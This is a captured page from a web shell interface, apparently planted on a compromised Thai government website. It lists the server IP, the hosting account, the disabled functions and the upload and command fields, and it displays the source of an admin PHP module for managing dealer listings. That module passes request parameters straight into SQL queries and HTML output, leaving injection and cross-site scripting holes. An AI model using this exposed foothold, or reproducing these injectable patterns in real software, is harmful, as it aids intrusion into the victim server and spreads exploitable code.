403Webshell
Server IP : 27.254.152.13  /  Your IP : 216.73.217.38
Web Server : Apache/2
System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64
User : coloflew ( 1072)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coloflew/domains/tessabalpatiu.go.th/private_html/administrator/modules/dealer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/coloflew/domains/tessabalpatiu.go.th/private_html/administrator/modules/dealer/dealer.php
<?php
$res = 0;
$linkUrl = "index.php?name=dealer&file=dealer&menu_id=".$_GET['menu_id'];
$lang_code = $_REQUEST['lang'] ? $_REQUEST['lang'] : $lang_code;
$linkUrl .= "&lang=".$lang_code;
$lang = $db->getAll("language","*","","","");
$table = "mydealer";
if(@$_GET['act']=="add"){
	$arrData = array();
	$idarr = $db->getOne($table,"max(id) as id","lang_code='".$lang_code."'");
	$id = $idarr['id'];
	$autoid = $id+1;
	if($lang){
		foreach($lang as $ke => $value ){
			if(is_array($_POST['data'])){
				foreach($_POST['data'][$table] as $key => $val){
					$arrData[$key]		= str_replace("'", "\'", $val);
				}
				$arrData['id']	= $autoid;
				$arrData['lang_code']	= $value['lang_code'];
				//echo "<pre>";print_r($arrData);
				//exit;
				$db->insertData($table,$arrData);
			}
		}
	}
	
	//exit;
	$msg = $lang_set['txtSaveComplete'];
	$res = 1;
}elseif(@$_GET['act']=="editdata"){
	$arrData = array();
	
	if(is_array($_POST['data'])){
		foreach($_POST['data'][$table] as $key => $val){
			$arrData[$key]		= str_replace("'", "\'", $val);
		}
		//echo "<pre>"; print_r(@$_POST);
		//exit;
		$db->updateData($table,$arrData,"id='".$_POST['data'][$table]['id']."' and lang_code='".$lang_code."'");
	}
	$msg = $lang_set['txtEditComplete'];
	$res = 1;
}elseif(@$_GET['act']=="edit"){
	$arrRes = $db->getOne($table,"*"," id='".@$_GET['id']."' and lang_code='".$lang_code."'");
	
}elseif(@$_GET['act']=="deletedata"){
	
	$db->deleteData($table,"id='".@$_GET['id']."'");
	//@unlink("../pagedata/news_".@$_GET['id'].".txt");
	$msg = $lang_set['txtDeleteComplete'];
	$res = 1;
}elseif(@$_GET['act']=="deleteAll"){
	//echo "<pre>"; print_r(@$_POST);
	//exit;
	if(is_array($_POST['data'])){
		
		if($_POST['data']){
			
			foreach($_POST['data'] as $ke => $va){//echo "<pre>"; print_r(@$va);
				foreach($va as $k => $v){
					$arrData = array();
					$arrData[$ke] = $v;
					$db->updateData($table,$arrData,"id='".$k."' and lang_code='".$lang_code."'");
				}
			}
		}
		//exit;
		$msg = $lang_set['txtEditComplete'];
	}
	if($_POST['status'] != "update"){
		if($_POST['status'] == 'del'){
			foreach($_POST['actdel'] as $ke => $va){
				$db->deleteData($table,"id='".$va."'");
			}
		}
		$msg = $lang_set['txtDeleteComplete'];
	}

	$res = 1;

}
$where_f = "lang_code='".$lang_code."' and menu_id='".$_GET['menu_id']."'";

@$search = @$_POST['keyword'] ?  @$_POST['keyword'] : @$_GET['keyword']; 

if(@$search){
	@$searchnew = str_replace("'", "\'", @$search); 
	if(@$where_f){
		@$where_f .= " and (titlename like '%".@$searchnew."%' or companyname like '%".@$searchnew."%') ";
	}else{
		@$where_f  = " (titlename like '%".@$searchnew."%' or companyname like '%".@$searchnew."%') ";
	}	
	
	@$linkUrl .= "&keyword=".@$search;
}
$sort = $_GET['sort'] ? $_GET['sort'] : 'desc';
$sortname = $_GET['sortname'] ? $_GET['sortname'] : "titlename";
if($sort=="asc"){
	$sortt = "order by ".$sortname." desc ";
	$sort = "desc";
}else{
	$sortt= "order by ".$sortname." asc ";
	$sort = "asc";
}
$page = $_GET['page'] ? $_GET['page'] : 1;
$limitP = $_GET['limit_page'] ? $_GET['limit_page'] : 15; 
$arrP = $db->getAll($table, "*",$where_f,"" );
$arrPage = $objMaster->viewPages($page, $arrP, $limitP );
$getPage = $db->getAll($table, "*",$where_f,$sortt.$arrPage["offset"]);

$getD = $db->getOne("menu","*","menu_id='".$_GET['menu_id']."'");

?>
<div class="content-box"><!-- Start Content Box -->
	<div class="content-box-header">
        <h3>Manage Dealer : <?php echo ucfirst($getD['menu_title']);?></h3>
        <ul class="content-box-tabs">
            <li><a href="#tab1" <?php echo ($_GET['act']=="" ? 'class="default-tab"' : "" );?>><?php echo $lang_set['list_page']; ?></a></li>
            <li><a href="#tab2" <?php echo ($_GET['act']=="edit" ? 'class="default-tab"' : "" );?>><?php echo $lang_set['add_page']; ?></a></li>
        </ul>
        <div class="clear"></div>
	</div> <!-- End .content-box-header -->
        <div class="content-box-content">
        	<?php if(@$res==1){?>
                <div class="notification success png_bg">
					<a href="#" class="close"><img src="images/icons/cross_grey_small.png" title="Close this notification" alt="close" /></a>
					<div>
					<?php echo @$msg;?>
					</div>
				</div>
                <meta http-equiv="refresh" content="1;URL=<?PHP echo @$linkUrl;?>">
            <?php }?>
            <div class="tab-content <?php echo (@$_GET['act']!="edit" ? "default-tab" : "" );?>" id="tab1"> <!-- This is the target div. id must match the href of this div's tab -->
            
        <form action="<?PHP echo @$linkUrl1;?>" method="post">
        <table>
        	<tr>
            	<td>
        	<input type="text" class="text-input small-input" name="keyword" value="<?php echo @$_POST['keyword'];?>" /> &nbsp;<input type="submit" class="button" value="<?php echo $lang_set['search']; ?>" />
            </td>
            </tr>
        </table>
        </form>
        <form action="<?PHP echo @$linkUrl;?>&act=deleteAll" method="post">
        <table width="100%">
            <thead>
            <tr>
                <th style="vertical-align:middle"><?php echo "Country"; ?></th>
                <th style="vertical-align:middle"><?php echo "Company Name"; ?></th>
                <th style="vertical-align:middle"><?php echo "Address"; ?></th>
                <th style="vertical-align:middle" width="100"><?php echo "Tel"; ?></th>
                <th style="vertical-align:middle" width="100"><?php echo "Fax"; ?></th>
                <th style="vertical-align:middle" width="150"><?php echo "Contact Person"; ?></th>
                <th style="vertical-align:middle" width="50">&nbsp;</th>
            </tr>
            </thead>
            <tfoot>
            <tr>
                <td colspan="7">
                <div class="pagination">
                <?php if( @$arrPage["startPage"]!="" && @$arrPage["endPage"] !="" ){?>
                    <a href="<?php echo @$linkUrl;?>&page=<?php echo @$arrPage["startPage"];?>" title="First Page">&laquo; First</a><a href="<?php echo @$linkUrl;?>&page=<?php echo (@$page-1);?>" title="Previous Page">&laquo; Prevoius</a>
                    <?php 
					for($i = @$arrPage["startPage"]; $i <= @$arrPage["endPage"]; ++$i) {
						echo'<a href="'.@$linkUrl.'&page='.@$i.'" class="number '.(@$page == @$i ? 'current' : '').'">'.(@$i).'</a>';
					}?>
                    <a href="<?php echo @$linkUrl;?>&page=<?php echo (@$page+1);?>" title="Next Page">Next &raquo;</a><a href="<?php echo @$linkUrl;?>&page=<?php echo @$arrPage["endPage"];?>" title="Last Page">Last &raquo;</a>
                <?php }?>
                </div> <!-- End .pagination -->
                <div class="clear"></div>                </td>
            </tr>
            </tfoot>
            <tbody>
            <?php 
            if(@$getPage){
                foreach(@$getPage as $key => $val){
            ?>
            <tr>
            	<td style="vertical-align:middle;"><?php echo $val['titlename'];?></td>
                <td style="vertical-align:middle;"><?php echo $val['companyname'];?></td>
                <td style="vertical-align:middle"><?php echo $val['address'];?><Br><?php echo $val['email'];?><br><?php echo $val['website'];?></td>
                <td style="vertical-align:middle"><?php echo $val['tel'];?></td>
                <td style="vertical-align:middle"><?php echo $val['fax'];?></td>
                <td style="vertical-align:middle;"><?php echo $val['contact'];?></td>
                 <td class="delete" style="vertical-align:middle;"><div align="center">
                <a href="<?php echo @$linkUrl;?>&act=edit&id=<?php echo $val['id']?>"  title="Edit"><img src="images/icons/pencil.png" alt="Edit" /></a>
                <a href="javascript:void();" onclick="chkConfirm('<?php echo @$linkUrl;?>&act=deletedata&id=<?php echo $val['id']?>','Delete Menu Data');"  title="Delete"><img src="images/icons/cross.png" alt="Delete" /></a></div></td>
            <tr>
            <?php
                }
            }else{
            ?>
            <tr>
                <td colspan="7" style="text-align:center"><?php echo @$lang_set['page_not_have']; ?>.</td>
            </tr>
            <?php 
            }
            ?>
            </tbody>
        </table>
      </form>
    </div> <!-- End #tab1 -->
    
    <div class="tab-content <?php echo ($_GET['act']=="edit" ? "default-tab" : "" );?>" id="tab2">
    
    <form id="formID1" action="<?php echo @$linkUrl;?>&act=<?php echo (@$_GET['act']=="edit" ? "editdata" : "add");?>" method="post">
    	<input type="hidden" name="data[mydealer][menu_id]" value="<?php echo @$_GET['menu_id'];?>">
        <input type="hidden" name="data[mydealer][id]" value="<?php echo @$_GET['id'];?>">
		 <p>
         	<label><?php echo "Country"; ?>:</label>
            <input type="text" name="data[mydealer][titlename]" id="titlename" value="<?php echo @$arrRes['titlename'];?>" class="validate[required] text-input medium-input" />
         </p>
         <p>
         	<label><?php echo "Company Name"; ?>:</label>
            <input type="text" name="data[mydealer][companyname]" id="companyname" value="<?php echo @$arrRes['companyname'];?>" class="text-input medium-input" />
         </p>
         <p>
         	<label><?php echo "Address"; ?>:</label>
            <input type="text" name="data[mydealer][address]" id="address" value="<?php echo @$arrRes['address'];?>" class="text-input medium-input" />
         </p>
         <p>
         	<label><?php echo "Tel"; ?>:</label>
            <input type="text" name="data[mydealer][tel]" id="tel" value="<?php echo @$arrRes['tel'];?>" class="text-input medium-input" />
         </p>
         <p>
         	<label><?php echo "Fax"; ?>:</label>
            <input type="text" name="data[mydealer][fax]" id="fax" value="<?php echo @$arrRes['fax'];?>" class="text-input medium-input" />
         </p>
         <p>
         	<label><?php echo "Email"; ?>:</label>
            <input type="text" name="data[mydealer][email]" id="email" value="<?php echo @$arrRes['email'];?>" class="text-input medium-input" />
         </p>
          <p>
         	<label><?php echo "Website"; ?>:</label>
            <input type="text" name="data[mydealer][website]" id="website" value="<?php echo @$arrRes['website'];?>" class="text-input medium-input" />
         </p>
          <p>
         	<label><?php echo "Contact person"; ?>:</label>
            <input type="text" name="data[mydealer][contact]" id="contact" value="<?php echo @$arrRes['contact'];?>" class="text-input medium-input" />
         </p>
         <hr />
		 <p>
				<input type="submit" class="button" value="<?php echo $lang_set['submit']; ?>" />
		</p>          
     </form>
    
    </div>
    
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit